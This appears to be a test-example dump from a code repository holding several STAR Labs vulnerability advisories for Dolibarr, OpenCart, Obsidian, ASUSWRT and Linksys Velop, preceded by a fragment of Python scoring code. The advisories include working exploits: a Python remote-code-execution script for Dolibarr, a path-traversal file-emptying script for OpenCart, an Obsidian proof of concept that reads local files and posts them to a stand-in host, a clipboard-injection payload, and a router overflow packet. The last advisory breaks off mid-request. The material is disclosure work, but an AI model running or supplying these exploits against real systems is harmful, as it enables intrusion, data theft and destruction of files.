json_out_later["is_POC"]=="FALSE": csv_row=[file,"NULL","NULL","NULL","NULL","NULL","NULL","NULL"] writer.writerow(csv_row) fout.flush() except Exception as e: print("analysing file error",e) fout.close() if __name__ == '__main__': vote_ask(data_dir, answer_dir) ================================================ FILE: task1_source_code/test_examples/200 ================================================ ================================================ FILE: task1_source_code/test_examples/201 ================================================ (CVE-2023-4197) Dolibarr ERP CRM (<= 18.0.1) Improper Input Sanitization Authenticated RCE | STAR Labs

(CVE-2023-4197) Dolibarr ERP CRM (<= 18.0.1) Improper Input Sanitization Authenticated RCE

Summary:

Product Dolibarr ERP CRM
Vendor Dolibarr
Severity High
Affected Versions <= 18.0.1
Tested Versions 17.0.1, 18.0.1
CVE Identifier CVE-2023-4197
CVE Description Improper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.
CWE Classification(s) CWE-20: Improper Input Validation
CAPEC Classification(s) CAPEC-248 Command Injection CAPEC-153: Input Data Manipulation

CVSS3.1 Scoring System:

Base Score: 7.5 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) High
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Dolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.

Dolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.

Vulnerability Summary:

Users can be granted privileges to add and modify pages in the websites module. Even though there are security settings to only allow HTML/JavaScript/CSS, this can be subverted. Existing checks being to detect PHP content from user-supplied input are insufficient as it only checks for <?php and <?=, allowing usage of the <? short tag for executing PHP code. As a result, an adversary is able to inject unsanitized PHP content into these web pages and achieve code execution via PHP.

Vulnerability Details:

There are two ways to exploit this vulnerability, one is to “import” content from a specified URL; the other is to edit an existing page.

The vulnerable code can be found in the function dolKeepOnlyPhpCode(), inside the /core/lib/website.lib.php file. where no checking for the <? tag is done. This function intended purpose is to extract the PHP code from the given string and return it to the caller. The caller would throw an error if this function returns a non-empty string since it indicates the presence of PHP code.

/core/lib/website.lib.php:
<?php

function dolKeepOnlyPhpCode($str)
{
    $str = str_replace('<?=', '<?php', $str);

    $newstr = '';

    // Split on each opening tag
    //$parts = explode('<?php', $str);
    $parts = preg_split('/'.preg_quote('<?php', '/').'/i', $str);

    if (!empty($parts)) {
        $i = 0;
        foreach ($parts as $part) {
            if ($i == 0) {  // The first part is never php code
                $i++;
                continue;
            }
            $newstr .= '<?php';
            //split on closing tag
            $partlings = explode('?>', $part, 2);
            if (!empty($partlings)) {
                $newstr .= $partlings[0].'?>';
            } else {
                $newstr .= $part.'?>';
            }
        }
    }
    return $newstr;
}

This function takes in a single argument which is the string to sanitize. It first replaces all occurrences of <?= with <?php and subsequently all <?php tags are tokenized, and the string between the opening and optional closing tags are selected and returned to the caller.

In order to achieve RCE, the adversary must first be authenticated with an account and the Website module must be enabled. Then, modify an existing web page to include the <? tag where arbitrary PHP code can be executed. Command execution is achieved by using any of the PHP functions that executes system code (i.e. system()). After the web page is modified successfully, previewing the updated page would trigger the RCE:

Exploit Conditions:

This vulnerability can be exploited when the “Website” module is enabled, as well as having access to a low-privilege user account.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:

# Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197)
# Via: https://TARGET_HOST/website/index.php
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import os
import re
import requests
import sys
import uuid
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password, cmd

    print("\n===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====\n")

    if len(sys.argv) != 5:
        print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]
    cmd = sys.argv[4]

def authenticate():
    global s, csrf_token

    print("[+] Attempting to authenticate...")

    # GET the CSRF token
    res = s.get(f"{target}/", verify=False)
    csrf_token = re.search("\"anti-csrf-newtoken\" content=\"(.+)\"", res.text).group(1).strip()

    # Login
    data = {
        "token": csrf_token,
        "username": username,
        "password": password,
        "actionlogin": "login"
    }
    res = s.post(f"{target}/", data=data, verify=False)

    if "Logout" not in res.text:
        print("[!] Authentication failed! Are the credentials valid?")
        sys.exit(1)
    else:
        print("[+] Authenticated successfully!")

def rce():
    # Create web site
    print("[+] Attempting to create a website...")
    website_name = uuid.uuid4().hex
    data = {
        "WEBSITE_REF": website_name,
        "token": csrf_token,
        "action": "addsite",
        "WEBSITE_LANG": "en",
        "addcontainer": "create"
    }
    res = s.post(f"{target}/website/index.php", data=data, verify=False)
    if f"Website - {website_name}" not in res.text:
        print("[!] Website creation failed!")
        sys.exit(1)
    else:
        print(f"[+] Created website name: \"{website_name}\"!")

    # Create web page
    print("[+] Attempting to create a web page...")
    webpage_name = uuid.uuid4().hex
    data = {
        "website": website_name,
        "token": csrf_token,
        "action": "addcontainer",
        "WEBSITE_TYPE_CONTAINER": "page",
        "WEBSITE_TITLE": "x",
        "WEBSITE_PAGENAME": webpage_name
    }
    res = s.post(f"{target}/website/index.php", data=data, verify=False)
    if f"Contenair \\'{webpage_name}\\' added" not in res.text:
        print("[!] Web page creation failed!")
        sys.exit(1)
    else:
        print(f"[+] Created web page name: \"{webpage_name}\"!")

    # Modify created page
    print("[+] Attempting to modify the web page...")
    webpage_id = re.search(f"<option value=\"(.+)\" .+{webpage_name}", res.text).group(1).strip()
    data = {
        "website": website_name,
        "WEBSITE_PAGENAME": webpage_name,
        "pageid": webpage_id,
        "token": csrf_token,
        "action": "updatemeta",
        "htmlheader": f"<? echo system('{cmd}'); ?>"
    }
    res = s.post(f"{target}/website/index.php", data=data, verify=False)
    if "Saved" not in res.text:
        print("[!] Web page modification failed!")
        sys.exit(1)
    else:
        print("[+] Web page modified successfully!")      

    # Trigger RCE
    print(f"[+] Triggering RCE now via: {target}/public/website/index.php?website={website_name}&pageref={webpage_name}")
    res = s.get(f"{target}/public/website/index.php?website={website_name}&pageref={webpage_name}", verify=False)
    if res.status_code != 200:
        print("[!] Web page is not reachable!")
        sys.exit(1)
    else:
        output = re.findall("block -->\n(.+)</head>", res.text, re.MULTILINE | re.DOTALL)[0].strip()
        print(f"[+] RCE successful! Output of command:\n\n{output}")

def main():
    check_args()
    authenticate()
    rce()

if __name__ == "__main__":
    main()

Suggested Mitigations:

Update the Dolibarr installation to the latest version as shown from the official repository releases page.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the /document/ directory (default upload directory) to see if there are any .tpl files containing <? tags, and further inspecting the code contained within.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2023-09-04 Reported vulnerability to Dolibarr owner
  • 2023-09-05 Dolibarr owner acknowledged vulnerability and pushed a patch commit. Also mentioned that it will be in the next release
  • 2023-10-11 New version containing patch released
  • 2023-11-01 Public Release
================================================ FILE: task1_source_code/test_examples/202 ================================================ (CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2 | STAR Labs

(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2

Summary:

Product OpenCart
Vendor OpenCart
Severity High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.
Affected Versions 4.0.0.0 - 4.0.2.2
Tested Version(s) 4.0.2.2
CVE Identifier CVE-2023-2315
CVE Description Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.
CWE Classification(s) CWE-27 - Path Traversal: ‘dir/../../filename’
CAPEC Classification(s) CAPEC-126 - Path Traversal

CVSS3.1 Scoring System:

Base Score: 8.1 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) None
Integrity (I) High
Availability (A) High

Product Overview:

Opencart is an open source ecommerce platform for online merchants to self-host and list their products for sale. It is structured in a way that allows for a quick setup and Opencart also provides a cloud solution for users who do not want to have an on-premise setup. Opencart is split into two fronts: a storefront containing a catalogue that regular users will access, as well as a backend administrative dashboard for management purposes. Account roles for the backend dashboard are highly customizable, allowing the owner of the website to initialise custom roles with different privileges and access, by using the fine-grained controls.

Vulnerability Summary:

There is a path traversal vulnerability at the Logs section of the backend dashboard, which allows an authenticated adversary to empty any existing file on the web server, given that there is write permissions on the file. By default, every OpenCart file is able to be emptied. This means that the availability of the website will be heavily impacted by emptying the core files, preventing regular functionality of the website. This vulnerability was introduced from versions 4.0.0.0 onward and patched in version 4.0.2.3.

Vulnerability Details:

A backend user with “access” and “modify” permissions on the “tool/log” setting is able to clear the logs of the website. When clearing the logs in a regular use case, a HTTP GET request is sent to delete the file “error.log”, by specifying it in the filename query parameter. The relevant code that is vulnerable can be found below:

// /admin/controller/tool/log.php

public function clear(): void {

    if (isset($this->request->get['filename'])) {
        $filename = (string)$this->request->get['filename']; // [1]
    } else {
        $filename = '';
    }

    $json = [];

    if (!$this->user->hasPermission('modify', 'tool/log')) {
        $json['error'] = $this->language->get('error_permission');
    }

    // DIR_LOGS = /system/storage/logs/
    $file = DIR_LOGS . $filename; // [2]

    if (!is_file($file)) {
        $json['error'] = sprintf($this->language->get('error_file'), $filename);
    }

    if (!$json) {
        $handle = fopen($file, 'w+'); // [3]
        fclose($handle);
        $json['success'] = $this->language->get('text_success');
    }
    // ...
}

At [1], the filename is obtained from the incoming HTTP GET request and stored into the $filename PHP variable without any form of input sanitisation. At [2], the file name is appended to the back of the storage log path /system/storage/logs/ and stored into another variable $file. At [3], the $file variable is used in a fopen() function call with the mode set to w+. This means that the existing file will have its content emptied. Since a file existence check occurs before this, it is not possible to create files that do not already exist.

In a normal scenario, the file /system/storage/logs/error.log will be emptied after the GET request is sent. However, since there is a lack of input sanitisation, it is possible for the filename query parameter to contain any number of path traversal sequence (../) to traverse out of the intended directory and point to other files instead. This results in other files being emptied and permanently affecting the website’s functionality.

Exploit Conditions:

This vulnerability can be exploited when the attacker has a set of valid credentials to the backend dashboard with access and modify permissions on tool/log.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the Path Traversal vulnerability.

The vulnerability can be exploited by sending a GET request to https://TARGET_HOST/admin/index.php?route=tool/log.clear&user_token=<USER_TOKEN>&filename=../../../../../../tmp/PoC.txt, for example:

GET /admin/index.php?route=tool/log.clear&filename=../../../../../../tmp/PoC.txt&user_token=4d6d604d8862798e96fe91846f28a36f HTTP/1.1
Host: TARGET_HOST
Cookie: OCSESSID=4f09deedf4a82f9c5b4bee9ec3;

Before running the exploit below, please ensure that you create a non-empty file /tmp/PoC.txt and that it has write permissions for the web user:

$ echo "Hello" > /tmp/PoC.txt
$ chmod 777 /tmp/PoC.txt 
$ ls -la /tmp/PoC.txt
-rwxrwxrwx 1 root root 6 Apr 26 09:36 /tmp/PoC.txt

Then, run the exploit below:

# Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315)
# Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)

#!/usr/bin/env python3
import re
import requests
import sys
requests.packages.urllib3.disable_warnings()

s = requests.Session()

def check_args():
    global target, username, password

    print("\n======= Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315) =======")
    print("Please ensure that a file /tmp/PoC.txt with write permissions has been created on the target server with non-empty content!\n")

    if len(sys.argv) != 4:
        print("[!] Please enter the required arguments like so: python3 {} http://TARGET_URL/ADMIN_PATH/ USERNAME PASSWORD".format(sys.argv[0]))
        sys.exit(1)

    target = sys.argv[1].strip("/")
    username = sys.argv[2]
    password = sys.argv[3]

def authenticate():
    global user_token

    print("[+] Attempting to authenticate...")

    # Get login_token
    path = f"{target}/index.php"
    res = s.get(path)
    login_token = re.findall("login_token=(.+)\" method", res.text)[0]
    
    # Perform login and get user_token
    data = {
        "username": username,
        "password": password
    }
    path = f"{target}/index.php?route=common/login.login&login_token={login_token}"
    res = s.post(path, data=data)
    user_token = re.findall("user_token=(.+)\"", res.text)[0]

    if not user_token:
        print("[!] Failed to authenticate! Are the credentials correct?")
        sys.exit(1)

    print("[+] Authenticated successfully.")

def delete():

    print("[+] Attempting to empty /tmp/PoC.txt...")

    # Empty /tmp/PoC.txt
    path = f"{target}/index.php?route=tool/log.clear&filename=../../../../../../tmp/PoC.txt&user_token={user_token}"
    res = s.get(path)
    print(f"[+] Output: {res.text}")

def main():
    check_args()
    authenticate()
    delete()

if __name__ == "__main__":
    main()

Suggested Mitigations:

The patch 0a8dd91 addresses this vulnerability. It is recommended to apply this commit to your installation of OpenCart.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all GET requests made to /admin/index.php?route=tool/log.clear, and filtering for requests that contain ../ in the filename query parameter.

Credits:

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2022-09-06 Followed the security bug reporting instructions and created an OpenCart forum account to try to report to the administrators, but new accounts are unable to send private messages.
  • 2022-09-11 Email sent to [email protected] in an attempt to establish a proper communication channel with the project owner/maintainers.
  • 2022-09-12 Support agent replied and suggested to describe the issue in a public channel via their GitHub Issues tracker, to which we reminded that it is a security bug on the latest version. Support agent then requested to send them the report where they will forward it to the developers. We instead requested for the public key of the developers so that the report can be encrypted to prevent information leakage. Support agent replied “they do not have such”.
  • 2022-09-14 Tried the “Contact Us” form on OpenCart’s website. Ended up with a second support ticket being opened.
  • 2022-09-15 Opened a GitHub Issue (#12684) in a last resort to establish a proper communication channel with the developers. Issue closed immediately by the project owner, and marked as spam.
  • 2022-09-15 Email sent directly to [email protected] as it is used for GitHub commits.
  • 2022-09-15 Project owner replied and we sent the bug report over.
  • 2022-09-15 Bug fixed in commit 0a8dd91
  • 2023-09-18 Public Release
================================================ FILE: task1_source_code/test_examples/203 ================================================ (CVE-2023-2110) Obsidian Local File Disclosure | STAR Labs

(CVE-2023-2110) Obsidian Local File Disclosure

Summary:

Product Obsidian
Vendor Obsidian
Severity High
Affected Versions Obsidian < 1.2.8
Tested Versions Obsidian 1.1.16
CVE Identifier CVE-2023-2110
CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via “app://local/<absolute-path>”. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.
CWE Classification(s) CWE-22 Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)
CAPEC Classification(s) CAPEC-597 Absolute Path Traversal

CVSS3.1 Scoring System:

Base Score: 8.2 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Metric Value
Attack Vector (AV) Local
Attack Complexity (AC) Low
Privileges Required (PR) None
User Interaction (UI) Required
Scope (S) Changed
Confidentiality (C) High
Integrity (I) High
Availability (A) None

Product Overview:

Obsidian is a markdown editor designed for knowledge workers and researchers that has gained significant popularity in recent years. One of its main features is its ability to create links between notes, allowing users to easily organize and navigate their ideas.

Obsidian is built on Electron, a framework that enables it to run seamlessly on various operating systems. The markdown editor supports HTML tags and embedding images from local filesystem. An attacker can use the vulnerability to access arbitrary local files from a malicious webpage loaded in the markdown editor.

Vulnerability Summary:

There is a Local File Disclosure vulnerability in app://local/ in Obsidian desktop client, allowing a crafted webpage to access local files and exfiltrate them to remote web servers. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.

Vulnerability Details:

In resources/app.asar/main.js, a custom URL scheme app:// is registered via electron.protocol.registerFileProtocol API. This URL scheme is designed for loading local resources embedded in the markdown file. For example, an image in markdown syntax ![](img1.png) will be converted to HTML img tag <img src="app://local/C:/Users/cr/Documents/md/img1.png?1681587426400"> for preview:

The following code snippet is the function handling app:// :

let SCHEME = 'app';
let PROTOCOL = SCHEME + '://';
let APP_URL_ROOT = PROTOCOL + 'obsidian.md/';
let FILE_ROOT = PROTOCOL + 'local/';
// ...
protocol.registerFileProtocol('app', (req, callback) => {
    let url = req.url;
    let noframe = false;
    // ...
    if (url.indexOf(FILE_ROOT) === 0) {
        url = decodeURIComponent(url.substr(FILE_ROOT.length));
        if (!isWin) {
            url = '/' + url;
        }
        url = path.resolve(url);    // [1]
        // Disallow framing if the path is a UNC path
        if (isUncPath(url)) {
            noframe = true;
        }
    }

    // Don't allow iframes from different origins to access local files
    let referrer = req.referrer;
    if (referrer && referrer.indexOf(PROTOCOL) !== 0) {     // [2]
        noframe = true;
        url = '';
    }

    let headers = {};
    if (noframe) {
        headers['X-Frame-Options'] = 'DENY';
    }
    callback({ path: url, headers });
});

When the URL of a request starts with app://local/, the remainder of the URL is resolved by path.resolve as an absolute path at [1].

At [2], if the request comes with a referrer header and the value does not start with app://, this request will be assumed to originate from an iframe, and the URL will be set to empty to prevent external webpage from loading local resources.

However, it was discovered that loading an external webpage in iframe and executing the following JavaScript code will send an empty referer header to app://local/, which led to bypassing the referer check and disclosing the contents of any local files:

r = new XMLHttpRequest();
r.open('GET', 'app://local/C:/windows/win.ini');
r.addEventListener('load', e => {
    let result = e.currentTarget.responseText;
    console.log(result);
});
r.send();

Exploit Conditions:

This vulnerability can be exploited by convicing the victim to (1) open a malicious markdown file or canvas file in Obsidian, or (2) copy text from a malicious webpage and paste it into Obsidian.

Proof-of-Concept:

We have tried our best to make the PoC as portable as possible. The following HTML code is a PoC demonstrating this arbitrary file disclosure vulnerability:

<!DOCTYPE html>
<html lang="en">
<body>
<script>
    window.location = `data:text/html,<script>(${payload.toString()})()\x3c/script>`;

    function payload() {
        let filename = 'app://local/';
        if(navigator.platform === 'Win32'){
            filename += 'C:/Windows/win.ini';
        } else if(navigator.platform.startsWith('Linux')){
            filename += '/proc/self/root/etc/passwd'
        }
        let r = new XMLHttpRequest();
        r.open('GET', filename);
        r.addEventListener('load', e => {
            let result = e.currentTarget.responseText;
            console.log(result);
            confirm(result)
            fetch('http://example.localtest.me/send-file-to-attacker-server', {method: 'post', mode: 'no-cors', body: result})
        });
        r.send();
    }
</script>
</body>
</html>

Save the above HTML file as poc1.html and serve it on a webserver, then append this line to any markdown file in Obsidian: <iframe src="http(s)://YOUR-WEB-SERVER/poc1.html"></iframe>. Once the PoC is loaded in the iframe, it will:

  1. Try to read C:/Windows/win.ini on Windows, or /etc/passwd on Linux,
  2. Show the content of the file in a dialog,
  3. Send the file to external URL on example.localtest.me (this domain resolves to 127.0.0.1 for demonstration purposes only).

Note: A live version of poc1.html can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html

Attack Scenario:

Scenario 1: Open a malicious markdown file

An attacker can inject an iframe tag in a markdown file and convince the victim to open it in Obsidian to trigger the payload.

Scenario 2: Copy and paste from a webpage

An attacker can craft a malicious webpage and hook on the copy event with the following code:

<script>
  document.addEventListener('copy',e=>{
    e.preventDefault();
    let payload = `<img src=")<iframe style='display:none' src='https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc1.html'></iframe>![](">`;
    e.clipboardData.setData('text/html', payload + window.getSelection());
  })
</script>

When the victim copies text from this page, the payload is added to the copied content and will be triggered when it is pasted into Obsidian.

Note: A live version of copy-and-paste PoC can be found here.

Additional Notes:

  1. It is possible to add style="display:none" attribute to the iframe to make the exploit invisible.

  2. An attacker can get a list of recently opened vaults from:

    • app://local/proc/self/cwd/.config/obsidian/obsidian.json on Linux, or
    • app://local/..%252f..%252fRoaming%2fObsidian%2fobsidian.json on Windows

    Then get a file list of each vault from app://local/PATH-TO-VAULT/.obsidian/workspace.json, and finally reads every file in the vault. In another word, an attacker can exploit this vulnerability to leak most of the contents in the victim’s vaults.

    An example of such exploit can be found at https://o.cal1.cn/e6c33c0a905bde0f-obsidian-local-file-disclosure-poc/poc2.html

  3. Once the attacker obtained vault id from obsidian.json, it is possible to append arbitrary content to existing markdown files via obsidian://new.

    For example, executing location = 'obsidian://new?file=Untitled.md&vault=56cc6ab7be5a53d5&append=1&content=appended-content' will add “appended-content” at the end of Untitled.md in the specified vault. This would make this vulnerability wormable, as the attacker is able to append the same payload invisibly to the victim’s other markdown files.

    It is also possible for attacker to purge the files via the overwrite param: location = 'obsidian://new?file=Untitled.md&vault=56cc6ab7be5a53d5&overwrite=1&content=REMOVED'. This will seriously compromise the integrity of the user’s data.

Suggested Mitigations:

Prohibit http(s) webpages from accessing app:// resources. It is also recommended to limit the local resources to be loaded only from the current vault directory.

For end users who are using the versions affected by this vulnerability, it is suggested that (1) any untrusted markdown file or canvas file should not be opened in Obsidian, and (2) copying text from an untrusted webpage then pasting it into Obsidian should be avoided.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by checking the presence of iframe tags loading suspicious URLs in markdown files.

Credits:

Li Jiantao (@CurseRed) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline:

  • 2023-04-28 Vendor Disclosure
  • 2023-05-03 Vendor Patch Release
  • 2023-08-19 Public Release
================================================ FILE: task1_source_code/test_examples/250.txt ================================================ (CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c | STAR Labs

(CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c

CVE: CVE-2018-20336

Tested Versions: ASUSWRT 3.0.0.4.384.20308 (2018/02/01)

Product URL(s): https://www.asus.com/us/ASUSWRT/

ASUSWRT is the firmware that is shipped with modern ASUS routers. ASUSWRT has a web-based interface, so it doesn’t need a separate app, or restrict what you can change via mobile devices – you get full access to everything, from any device that can run a web browser.

Vulnerability

There is a stack overflow issue in parse_req_queries function in wanduck.c, which may lead to information leak.

PoC

from socket import *
HOST = '192.168.50.1'  
PORT = 18018
BUFSIZE = 4096
ADDR = (HOST, PORT)  
udpCliSock = socket(AF_INET, SOCK_DGRAM)   
data = "A"*2046+"\x00F"
udpCliSock.sendto(data,ADDR)  
data,ADDR = udpCliSock.recvfrom(BUFSIZE)  
if data:
	print len(data)  
udpCliSock.close()

Wanduck is a program that listens on TCP 18017 and UDP 18018. Port 18017 is most likely a HTTP server and 18018 is most likely a DNS server. The HTTP server on port 18017 will redirect HTTP request to the 80 port and the DNS server will process the dns request packet.

The file wanduck.c can be found under the src/rc/ directory is the provided ASUSWRT source code. We are going to have a look at the main function wanduck_main, this is the entry of the main program. run_dns_serv function is the entry to receive packet from port 18018, we will check the code from this function, the source is like below:

void run_dns_serv(int sockfd){
	int n;
	char line[MAXLINE];
	struct sockaddr_in cliaddr;
	int clilen = sizeof(cliaddr);
	memset(line, 0, MAXLINE);
	memset(&cliaddr, 0, clilen);
	if((n = recvfrom(sockfd, line, MAXLINE, 0, (struct sockaddr *)&cliaddr, (socklen_t *)&clilen)) == 0)	// client close
		return;
	else if(n < 0){
		perror("wanduck serv dns");
		return;
	}
	else
		handle_dns_req(sockfd, line, n, (struct sockaddr *)&cliaddr, clilen);
}

MAXLINE is defined in wanduck.h with the value of 2048, so this function will first receive a max buffer of 2048 bytes from the sender, and then handle_dns_req will process the DNS request packet. A variable reply_content is defined at the begining of the handle_dns_req function like below:

void handle_dns_req(int sfd, char *line, int maxlen, struct sockaddr *pcliaddr, int clen){
	dns_query_packet d_req;
	dns_response_packet d_reply;
	int reply_size;
	char reply_content[MAXLINE];

As we can see here, reply_content is designed to have a max size of 2048 bytes. After process is intialized in handle_dns_req, the dns request packet will be passed to parse_req_queries function, this function accepts 4 parameters:

  • char *content, stands for the reply(dns response) content
  • char *lp, stands for the DNS Question part
  • int len, stands for the length of the DNS Question part (a max of 2048-len(dns request header))
  • int *reply_size, pointer to the reply packet size

Let’s check this function, the whole function code is as below:

void parse_req_queries(char *content, char *lp, int len, int *reply_size){
	int i, rn;
	rn = *(reply_size);
	for(i = 0; i < len; ++i){
		content[rn+i] = lp[i];
		if(lp[i] == 0){
			++i;
			break;
		}
	}
	if(i >= len)
		return;
	content[rn+i] = lp[i];
	content[rn+i+1] = lp[i+1];
	content[rn+i+2] = lp[i+2];
	content[rn+i+3] = lp[i+3];
	i += 4;
	*reply_size += i;
}

Obviously, there is a stack overflow in the function: let’s assume there is a NULL(\x00) at the second-to-last of lp buffer, then the for loop will ended and i will be added with 1. There is a judgement to check whether i is larger than len, but this check is not enough. Let’s assume i equals to len-1, then the following code will be executed:

content[rn+i] = lp[i];
content[rn+i+1] = lp[i+1];
content[rn+i+2] = lp[i+2];
content[rn+i+3] = lp[i+3];
i += 4;
*reply_size += i;

As we have said, rn points to the reply packet size and this value, in this case, the rn passed to this function is the length of DNS Request Header. Then,

rn+i == rn+len-1

rn+i+1==rn+len

rn+i+2==rn+len+1

rn+i+3==rn+len+2

i+4==len-1+4==len+3

reply_size= len(dns header)+len-1+4

So this will casuse an Out of bound write problem, and also, this will also cause information leak, for the reply_size is greater than 0x800(2048) bytes.

Let’s debug the wanduck process dynamically, we will use the PoC we provied.

sub_7D218 is the handle_dns_req function, and sub_7D0F8 is the parse_req_queries function. We first set a breakpoint at the line where parse_req_queries is called:

Then we run our PoC code, and the program will break at line 63, and then we will follow the code and see what happens.

a3 is len in source code, and in our case this value is 0x7F4 because the DNS header is 0xC, so the value is 0x800-0xC=0x7F4. Since the second-to-last byte in our PoC is “\x00”, so line 20 will be hit when v4 is 0x7F3, since 0x7F3 is less than 0x7F4, then line 22 to line 30 will be executed.

result in our case is at 0xBE85A71C, from the source code we know its size is 0x800, so the end address of result is at 0xBE85AF1C, when line 26 is executed, result will be 0xBE85AF1B, so line 28 and line 29 will cause a buffer overflow.

What’s more, the reply_size will be 0x7F4+0xC+0x3=0x803, at the end of handle_dns_req , reply_size will also add 0x10(sizeof(d_reply.answers)), so the final reply_size will be 0x813. It is larger than 0x800, which will cause an information leak.

Timeline

  • 2019-02-19 Vendor disclosure
  • 2019-02-25 Vendor acknowledged
  • 2019-03-29 Firmware update released

Vendor Response

The vendor has acknowledged the issue and released a new firmware update to address this vulnerability.

The updated firmware can be downloaded from the Support section of a particular router that runs ASUSWRT, such as https://www.asus.com/Networking/RTAC68U/HelpDesk_Download/.

The update description lists both issues CVE-2018-20334 and CVE-2018-20336 discovered by STAR Labs as fixed.

================================================ FILE: task1_source_code/test_examples/251.txt ================================================ (CVE-2019-16340) Linksys Velop Authentication Bypass | STAR Labs

(CVE-2019-16340) Linksys Velop Authentication Bypass

Table of Contents

CVE: CVE-2019-16340

Tested Versions:

  • Linksys Velop 1.1.2.185309

Product URL(s): https://www.linksys.com/us/velop/

Velop is a WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users to enjoy fast, nonstop Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system.

There are three categories from their official site: WHW0303, WHW0302, WHW0301.

The differences between these three are the pack count: 1, 2 or 3. The system is the same.

Vulnerability

There are many information leak problems; one of them is through /sysinfo_json.cgi, requesting this URL will leak sensitive information and may lead to authentication bypass.

We can get some helpful information from the PoC below:

GET /sysinfo_json.cgi HTTP/1.1
Host: 10.158.1.1
Accept: application/json; charset=UTF-8
Expires: Fri, 10 Oct 2015 14:19:41 GMT
Accept-Encoding: gzip, deflate
Accept-Language: zh-Hans-CN;q=1, en-CN;q=0.9
Cache-Control: no-cache
Content-Type: application/json; charset=UTF-8
User-Agent: Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00)
Connection: close

Response:

HTTP/1.1 200 OK
Connection: close
CONTENT-LANGUAGE: en
Date: Thu, 11 Oct 2012 11:09:15 GMT
Server: lighttpd/1.4.39
Content-Length: 94710

siSections="MfgData,BootData,Syscfg,Sysevent,Messages,Dmesg,Ps,MemoryInfo,CpuInfo,WifiBasicInfo,WifiRadioInfo,WifiClientInfo,WifiPoorClientInfo,WifiLegacyClientInfo,WifiAllAPInfo,WifiSameAPInfo,WifiAllCAInfo,WifiMyCAInfo,IPInfo,PingInfo,Conntrack,ConntrackTotals,ConntrackAvg,Thrulay";
var MfgData = {
 "title": "Manufacturer Data",
 "description": "This is used to manufacturer unit and in SKU API",
 "timestamp": "16:01:02.12/31/69",
 "data": [
{
.......
 "wps_pin": "wps_device_pin = 58163597",
.......
"device_recovery_key": "84667",
.......
 }
 ]
};
......

The most important value we can get is WPS PIN and Device Recovery Key. For the WPS PIN, we can use it to connect to the Wi-Fi even if the Wi-Fi password is changed when WPS is enabled. A recovery key can be used to reset the admin password. We may construct the following request to change the admin password:

POST /JNAP/ HTTP/1.1
Host: 192.168.1.1
Accept: application/json; charset=UTF-8
Expires: Fri, 10 Oct 2015 14:19:41 GMT
Accept-Encoding: gzip, deflate
Accept-Language: zh-Hans-CN;q=1, en-CN;q=0.9
Cache-Control: no-cache
Content-Type: application/json; charset=UTF-8
Content-Length: 48
User-Agent: Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00)
Connection: close
